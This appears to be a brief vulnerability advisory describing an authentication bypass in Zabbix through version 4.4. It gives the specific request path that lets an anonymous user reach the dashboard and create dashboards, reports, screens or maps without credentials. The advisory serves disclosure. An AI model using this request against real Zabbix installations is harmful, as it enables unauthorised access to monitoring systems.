Zabbix through 4.4 is susceptible to an authentication bypass vulnerability via zabbix.php?action=dashboard.view&dashboardid=1. An attacker can bypass the login page and access the dashboard page, and then create a Dashboard, Report, Screen, or Map without any Username/Password (i.e., anonymously). All created elements (Dashboard/Report/Screen/Map) are accessible by other users and by an admin.
